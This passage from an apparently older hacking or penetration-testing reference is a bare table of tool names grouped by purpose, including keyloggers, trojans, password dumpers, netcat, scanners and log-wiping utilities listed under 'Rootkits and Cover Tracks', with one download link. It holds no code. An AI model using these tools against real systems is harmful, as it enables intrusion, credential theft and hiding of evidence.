| Elitewrap | |
| Getadmin | |
| Hunt | |
| Imp | |
| Invisible Keystroke Logger | |
| Jcmd | |
| John the Ripper | |
| Netbus | |
| Netcat | |
| NTFSDOS | |
| NTuser | |
| Pandora by NMRC | |
| Pwdump2 | |
| Revelation by Snadboy | |
| Sechole | |
| SNMPsniff | http://packetstorm.harvard.edu/sniffers/snmpsniff-1.0.tar.gz |
| Unhide | |
| Virtual Network Computing (VNC) |
Pilfering
| File Wrangler | |
| PowerDesk's ExplorerPlus | |
| Revelation |
Rootkits and Cover Tracks
| Cygwin Win32 (cp and touch commands) | |
| Wipe | |
| Zap |
Scanning Tools
| BindView | |
| Chknull | |
| CyberCop Scanner by NAI | |
| Firewalk | |
| Fping | |
| HackerShield by Bindview | |
| Hping | |
| InspectorScan by Shavlik | |
| Internet Scanner by ISS | |
| Kane Security Analyst | |
| Network Mapper (Nmap) | |
| NTInfoscan | |
| Pinger | |
| Scan | |
| Solarwinds | |
| Strobe | |
| Udpscan | |
| WebTrends Security Analyzer by WebTrends | |
| WS_Ping Pack Pro |
| PhoneSweep by Sandstorm | |
| THC | |
| ToneLoc |
